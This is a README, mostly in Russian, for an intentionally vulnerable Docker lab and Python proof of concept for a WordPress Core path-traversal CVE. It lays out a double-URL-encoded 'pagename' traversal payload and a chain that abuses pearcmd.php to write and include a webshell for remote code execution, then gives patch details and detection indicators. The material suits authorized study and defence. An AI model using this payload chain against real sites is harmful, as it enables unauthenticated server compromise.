
Уязвимая лаборатория (Docker) + PoC на Python для CVE-2026-87902 — неаутентифицированный path traversal в WordPress Core (page-template -> LFI -> условный RCE). Образовательное/авторизованное использование.
Лаборатория намеренно уязвимая + PoC на Python для CVE-2026-87902: неаутентифицированный path traversal при разрешении page template в WordPress Core, приводящий к Local File Inclusion (LFI) и условному RCE.
| Поле | Значение |
|---|---|
| Продукт | WordPress Core |
| Уязвимые версии | 4.7.0 → 7.1.1 |
| Исправление | 7.1.2 (backport до 4.7.37) |
| Тип | Path Traversal (CWE-22) → LFI → условный RCE |
| Аутентификация | Отсутствует (неаутентифицированный) |
| CVSS 4.0 | 9.2 (Критический) |
| Публикация | 2026-09-23 |
⚠️ Правовое / этическое предупреждение. Весь материал здесь предназначен для изучения в локальной и авторизованной среде. Лаборатория — это намеренно небезопасный образ Docker — не выставляйте его в интернет. У
exploit.pyцелевой адрес по умолчанию —http://localhost:8091, и это сделано намеренно. Запуск PoC против любой системы без явного письменного разрешения является преступлением. Вы несёте единоличную ответственность за использование.
EXPLOIT-CVE-2026-87902/
├── README.md # este arquivo
├── docker-compose.yml # sobe o lab em localhost:8091
├── lab/
│ ├── Dockerfile # php:8.2-apache + PEAR + register_argc_argv=On
│ ├── config/zz-lab.ini # pré-condições ambientais de RCE
│ └── src/ # "WordPress mini" que reproduz o trecho vulnerável
│ ├── index.php # front controller (≈ template-loader.php)
│ ├── wp-mini.php # get_page_template()/locate_template()/... vulneráveis
│ ├── private/
│ │ └── secret-config.php # alvo .php fora do tema (prova de LFI)
│ └── wp-content/themes/twentytwelve-mini/
│ ├── style.css
│ ├── index.php
│ └── page-templates/ # diretório "page-*" exigido p/ a travessia
│ └── full-width.php
└── exploit/
├── exploit.py # PoC (pt-BR): LFI + cadeia RCE via pearcmd
└── requirements.txt
Предварительные требования: Docker + Docker Compose и Python 3 с requests.
# 1) Suba o lab (fica em http://localhost:8091)
docker compose up --build
# 2) Em outro terminal, instale a dependência do PoC e rode
cd exploit
pip install -r requirements.txt
python3 exploit.py # roda LFI + RCE contra o lab local
# Opções úteis
python3 exploit.py --mode lfi # só a prova de LFI
python3 exploit.py --mode rce --cmd 'uname -a'
python3 exploit.py --target http://localhost:8091
# 3) Derrube o lab
docker compose down
Ожидаемый вывод (кратко):
[LFI] Sucesso! Arquivo externo incluído -> SEGREDO_DO_LAB{lfi_via_page_template_traversal}
[RCE] Comando executado no servidor:
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
FLAG{cve_2026_87902_rce_no_wordpress_mini}
------------------------------------------------------------
В get_page_template() значение публичной query var pagename используется
для формирования имени шаблона. Ядро валидирует сырое значение с помощью
validate_file() (которая блокирует литерал ..), но затем декодирует значение
один раз и использует результат как кандидат в шаблоны без повторной валидации
(точное воспроизведение в wp-mini.php):
if ($pagename !== '' && 0 === validate_file($pagename)) {
$templates[] = "page-{$pagename}.php"; // valor cru (ainda encodado)
$pagename_decoded = urldecode($pagename); // <-- 2ª decodificação
if ($pagename_decoded !== $pagename) {
$templates[] = "page-{$pagename_decoded}.php"; // travessia reintroduzida
}
}
Затем locator конкатенирует тема + "/" + template и включает первый
существующий файл, без realpath() и без проверки, что результат остаётся
внутри директории темы.
Атакующий отправляет pagename дважды закодированным:
Valor no fio (POST body): templates%252f%252e%252e%252f...%252fpearcmd
1ª decodificação (HTTP): templates%2f%2e%2e%2f...%2fpearcmd <- sem '..' literal => passa por validate_file()
2ª decodificação (core): templates/../../.../pearcmd <- travessia real
Поскольку locator добавляет префикс page-, путь становится
page-templates/../../.../pearcmd.php. Это разрешается за пределы темы.
page- (здесь,
page-templates/). Это реальная отправная точка traversal: в Linux каждый
компонент пути должен существовать, чтобы ../ разрешались. Легаси-темы
(Twenty Twelve/Fourteen) и популярные (Neve, Hestia, Sydney) подходят.register_argc_argv = On в PHP → $_SERVER['argv'] заполняется из
query string.pearcmd.php доступен для чтения на сервере (официальный образ php:8.2-apache уже
содержит его в /usr/local/lib/php/pearcmd.php, в стандартном include_path).Поскольку locator добавляет .php, LFI достигает только файлов .php. Поэтому
практический маршрут к RCE связывается с pearcmd.php:
pearcmd.php, передав через query string (=argv)
config-create, чтобы записать webshell .php в /tmp./tmp/<webshell>.php через новый traversal → PHP
атакующего выполняется.Патч обрабатывает значение pagename согласованно: валидирует после
любого декодирования (или отклоняет ввод с закодированными последовательностями
traversal) и начинает применять границу директории при разрешении
шаблона (итоговый путь должен оставаться внутри темы). Результат: дважды
закодированное значение больше не доживает до include.
Меры защиты: обновление до ≥ 7.1.2; и, как эшелонированная защита,
register_argc_argv = Off, удаление/ограничение pearcmd.php, и WAF, который
обнаруживает закодированный ../ (%2e%2e%2f, %252e...) в запросах.
../
(%2e%2e%2f, %252e%252e%252f) в параметрах.pagename), особенно в сочетании с query string, содержащими
config-create / ссылки на pearcmd..php в /tmp с последующим включением.